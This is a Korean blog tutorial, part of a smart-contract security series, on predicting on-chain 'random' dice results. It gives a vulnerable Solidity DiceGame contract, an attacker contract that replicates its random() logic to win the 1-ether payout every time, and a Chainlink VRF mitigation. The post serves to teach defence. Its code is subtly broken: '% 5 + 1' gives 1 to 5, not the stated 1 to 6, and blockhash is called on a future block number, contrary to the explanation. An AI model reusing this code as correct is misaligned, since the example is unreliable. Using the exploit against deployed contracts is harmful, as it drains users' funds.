⛔️ 복제 논리 공격
스마트 컨트랙트의 임의성 또는 복제 논리 공격은 스마트 컨트랙트에서 랜덤한 값을 생성하거나 결정할 때 발생하는 취약점입니다.
복제 논리 공격은 공격자가 랜덤 숫자 생성 로직을 스마트 컨트랙트와 동일하게 복제하여 정확한 결과를 예측하는 방법입니다. 즉, 공격자가 스마트 컨트랙트에서 사용하는 난수 생성 함수를 자신의 공격용 컨트랙트에 동일하게 구현하고, 이를 통해 스마트 컨트랙트와 동일한 랜덤한 값을 얻어냅니다.
따라서 스마트 컨트랙트의 랜덤 결과를 예측할 수 있게 되어 공격자가 불공정하게 게임을 이길 수 있거나 다른 부정한 행위를 할 수 있는 상황이 발생합니다.
😭 피해자 스마트 컨트랙트
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
contract DiceGame {
constructor() payable {}
function guess_the_dice(uint8 _guessDice) public {
uint8 dice = random();
if (dice == _guessDice) {
(bool sent, ) = msg.sender.call{value: 1 ether}("");
require(sent, "failed to transfer");
}
}
function random() private view returns (uint8) {
uint256 blockValue = uint256(blockhash(block.number - 1 + block.timestamp));
return uint8(blockValue % 5) + 1;
}
}
이 스마트 컨트랙트의 로직을 간략히 설명하면 다음과 같습니다.
- constructor : 초기 보상 금액을 승자에게 지급하기 위해 지불 가능하도록 설정합니다.
- guess_the_dice : 사용자로부터 변수를 받아 랜덤 숫자를 생성한 뒤 사용자 입력 숫자와 비교합니다. 두 숫자가 일치하면 사용자에게 1 Ether의 보상을 지급합니다.
- random : 이전 블록 번호와 현재 블록 타임스탬프를 사용하여 랜덤한 숫자를 생성합니다. 여기서 이전 블록 번호인 block.number - 1 을 사용하는 이유는 blockhash 함수가 현재 블록 번호를 사용하여 계산하지 못하고, 현재 블록이 아직 현재 트랜잭션과 관련하여 처리 중이기 때문입니다. 랜덤 값이 반환되기 전에 5로 나누고 1을 더하여 주사위 숫자를 1 ~ 6까지로 유지합니다.
🤪 공격자 스마트 컨트랙트
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import "./DiceGame.sol";
contract Attack {
DiceGame dicegame;
constructor(DiceGame _addrDicegame) {
dicegame = _addrDicegame;
}
function attack() public {
uint8 guess = random();
dicegame.guess_the_dice(guess);
}
function random() private view returns (uint8) {
uint256 blockValue = uint256(blockhash(block.number - 1 + block.timestamp));
return uint8(blockValue % 5) + 1;
}
receive() external payable {}
function get_balance() public view returns(uint256) {
return address(this).balance;
}
}
이 공격용 스마트 컨트랙트의 로직을 간략히 설명하면 다음과 같습니다.
- constructor: 배포된 DiceGame 컨트랙트의 주소를 받아서 상호작용할 수 있도록 합니다.
- attack : 공격자는 attack 함수를 호출함으로써 정확히 DiceGame 컨트랙트에서 사용하는 random 함수를 복제합니다. 랜덤 숫자를 얻은 후 guess_the_dice 함수를 호출합니다.
- get_balance : 공격 컨트랙트의 잔액을 반환하는 함수입니다.
❓ 복제 논리 공격 원리
attack 함수가 호출될 때마다, 공격자는 정확히 guess_the_dice 함수의 랜덤 숫자와 일치시킬 수 있습니다. 이는 random 함수가 DiceGame 컨트랙트와 동일한 트랜잭션 내에서 호출되기 때문입니다. 다시 말해, 동일한 블록에서 실행되므로 같은 랜덤 값이 생성되기 때문입니다.
🤔 해결책
컨트랙트에서 block.timestamp 또는 block.number와 같은 블록체인의 on-chain 데이터를 랜덤 소스로 사용하지 않도록 합니다. 대신 Chainlink VRF와 같은 외부 신뢰할 수 있는 랜덤 소스를 컨트랙트에서 사용합니다.
💡 Chainlink VRF(Verifiable Random Function)
Chainlink VRF는 블록체인 스마트 컨트랙트에서 안전하고 검증 가능한 랜덤성을 제공하는 외부 서비스입니다. 스마트 컨트랙트가 랜덤한 값을 생성해야 할 때, Chainlink VRF를 사용하여 외부에서 제공되는 신뢰할 수 있는 랜덤성을 활용할 수 있습니다.
Chainlink VRF는 블록체인의 블록 데이터나 타임스탬프와는 독립적으로 외부 오라클로부터 랜덤한 값을 가져옵니다. 이때 랜덤성은 블록체인 밖의 외부 데이터와 통신하는 Chainlink 오라클 노드의 여러 개의 서명을 사용하여 보장됩니다. 이 서명들을 사용하여 랜덤한 값이 정당하게 생성되었음을 수학적으로 증명할 수 있으며, 스마트 컨트랙트는 이를 검증할 수 있습니다. 이를 통해 누구도 랜덤한 값을 조작하거나 예측할 수 없도록 보장됩니다.
'Smart Contract > Security' 카테고리의 다른 글
| 스마트 컨트랙트 공격 - Private 변수 악용 (0) | 2023.11.07 |
|---|---|
| 스마트 컨트랙트 공격 - 리플레이 공격 (2) | 2023.11.06 |
| 스마트 컨트랙트 공격 - DelegateCall 스토리지 충돌 공격 (0) | 2023.11.06 |
| 스마트 컨트랙트 공격 - 서비스 거부 공격 (DoS) (0) | 2023.11.06 |
| 스마트 컨트랙트 공격 - tx.origin 피싱 공격 (0) | 2023.11.06 |
댓글